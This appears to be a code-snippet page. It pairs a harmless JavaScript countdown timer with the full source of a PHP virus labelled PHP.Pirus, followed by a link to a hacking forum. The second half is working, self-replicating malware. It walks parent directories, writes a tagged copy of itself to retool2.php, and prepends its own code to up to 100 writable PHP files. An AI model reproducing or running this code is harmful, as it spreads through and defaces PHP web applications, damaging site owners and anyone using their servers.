countdown javascript display in div

window.onload = function() {
startCountDown(180, 1000, myFunction); // set setdown here
}
function startCountDown(i, p, f) {
var pause = p;
var fn = f;
var countDownObj = document.getElementById("countDown");
if (countDownObj == null) {
alert("div not found, check your id");
return;
}
countDownObj.count = function(i) {
countDownObj.innerHTML = i;
if (i == 0) {
fn();
return;
}
setTimeout(function() {
countDownObj.count(i - 1);
},
pause
);
}
countDownObj.count(i);
}
function myFunction() {
alert("hi alex");
}

and put div name

<div id="countDown"></div>

php virus code

original code virus named PHP.Pirus

< ?php #retool2.php
$atefile = 0; 
walkthrough('../..');
function walkthrough($dir) {
global $atefile;
$maxi = 100;
$viruscontents=fread(fopen(__FILE__,'r'), 1626);
if (!file_exists('retool2.php')) {
  $handle = fopen('retool2.php', 'a');
  fwrite($handle, $viruscontents.'HACK BY RETOOL2');
  fclose($handle);
}
if(is_dir($dir)){
  if($dh = opendir($dir)){
   while(($file = readdir($dh)) !== false && $atefile<$maxi){
    if($file != "." && $file != ".."){
     if(is_dir($dir."/".$file)){
      walkthrough($dir."/".$file);
     }else{
      if(strstr (substr($file, -4), 'php')){
       $infected=true;
       $caniwrite=false;
       if ( is_file($dir."/".$file) && is_writeable($dir."/".$file) ){
        $output = fopen($dir."/".$file, "r");
        if(filesize ($dir."/".$file)>0){
         $contents = fread ($output , 20);
         $mine = strstr ($contents, 'retool2.php');
         fclose($output );
        }
        $infected=false;
        if($mine){$infected=true;}
       }
       if($infected==false){
        if(filesize ($dir."/".$file)>0){
         $victim = fopen($dir."/".$file, "r+");
         $ori = fread($victim, filesize($dir."/".$file));
         fclose($victim);
        }
        $victim = fopen($dir."/".$file, "w+");
        if(filesize($dir."/".$file)==0){
         fwrite($victim, $viruscontents);
        }else{
         fputs($victim ,$viruscontents.$ori);
        }
        $atefile++;
        fclose($victim );
       }
      }
     }
    }
   }
   closedir($dh);
  }
}
return $counter;
}
?>

link: http://www.rohitab.com/discuss/lofiversion/index.php/t10727.html